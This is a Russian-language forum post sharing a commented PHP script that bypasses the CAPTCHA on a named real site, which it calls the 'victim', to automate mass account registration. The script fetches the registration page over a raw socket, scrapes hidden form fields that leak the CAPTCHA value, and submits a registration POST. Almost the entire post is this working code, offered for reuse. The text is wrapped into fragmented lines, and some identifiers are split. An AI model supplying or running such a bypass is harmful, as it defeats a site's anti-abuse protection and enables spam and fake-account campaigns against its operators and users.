Просмотр поста

.
Tzeentch
Скрипт обхода капчи, пригодится для сервисов массовых регистраций, обходить капчу трудно. Так что робит не на всех сайтах. Код скрипта с коментариями автора

-----
Извлекаем код капчи
----------


"Подопытный кролик"
будет
http://coolserf.net
Инструменты:
сокеты, perl-
регулярные
выражения и пост | |
гет запросы

<?php

$sock =
fsockopen('coolserf.
net', 80, $errno, $err,
4);
/* Здесь мы
открываем
соединение по 80
порту (http://) с
сайтом жертвы,
$errno-номер
возможной ошибки,
$err- сама ошибка, 4-
это время ожидания
ответа, таймаут.*/
$request = "GET
/reg.php?rules=1
HTTP/1.1\r\nAccept:
*/*\r\nHost:
coolserf.net:80\r\n
Connection: Keep-
Alive\r\n\r\n";
/* Здесь мы пишем
гет запрос который
отправим жертве.
Метод get, далее
идет адрес страницы
регистрации на сайте
жертвы, HTTP/1.1
указывает на версию
протокола, Accept:
*/* так мы говорим
серверу что примем
любой формат файла,
Host: coolserf.net:80
указываем что
ниобходимо
соединиться по 80
порту к нашей жертве,
Connection: Keep-
Alive этим мы
сообщаем что ответ
требуется
подождать*/
fputs($sock,
$request);
/*записываем наш
запрос в поток*/
while( !feof($sock))
$body.=fgets($sock,
20480);
/*этим циклом
забиваем в $ ответ
на наш запрос*/
fclose ($sock);
/*Закрываем поток*/
preg_match("/check
sum' value=\'([0-9
]+)'/", $body, $ cans);
echo '
checksum '.$cans[1];
/*этим регулярным
выражение мы ищем в
ответе сервера
скрытый инпут с
именем checksum и
забиваем найденый
результат в $cans*/
preg_match("/send'
value=\'([0-9]+)'/",
$body, $can);
echo '
send '.$can[1];
/*этим регулярным
выражение мы ищем в
ответе сервера
скрытый инпут с
именем send и
забиваем найденый
результат в $can.
Этои и есть
ниобходимый нам код
капчи*/
unset($sock,
$request, $body);
/*уничтожаем
использованые нами
$*/
$post = "send=$can[1
]&checksum=$cans [1
]&up=1234
&img=$can[1]&email
=tm@mtg.Ru";
/*Создаем пост
запрос для
регистрации на
сайте, имея сессию и
код с капчи, мы
отправляем серверу
пароль, емейл и тд*/
$sock =
fsockopen('coolserf.
net', 80, $errno, $err,
4);
$request = "POST
/reg.php?rules=1
HTTP/1.1\r\nAccept:
*/*\r\nHost:
coolserf.net:80\r\n
Connection:
Close\r\nContent-
Type: application/x-
www-form-
urlencoded\r\nConte
nt-Length: ".strlen
($post)."\r\n\r\n";
/*Здесь, если вы
внимательны, то
заметили 2 новых
строки, Content-Type:
application/x-www-
form-urlencoded
указывает на
содержимое, Content-
Length указывает
скоко байт пост
запрос*/
fputs($sock,
$request.$post);
while( !feof($sock))
$body.=fgets($sock,
20480);
echo $body;
fclose ($sock);
unset($sock,
$request, $body);
?>

------------


Автор Zfix aka Йожиг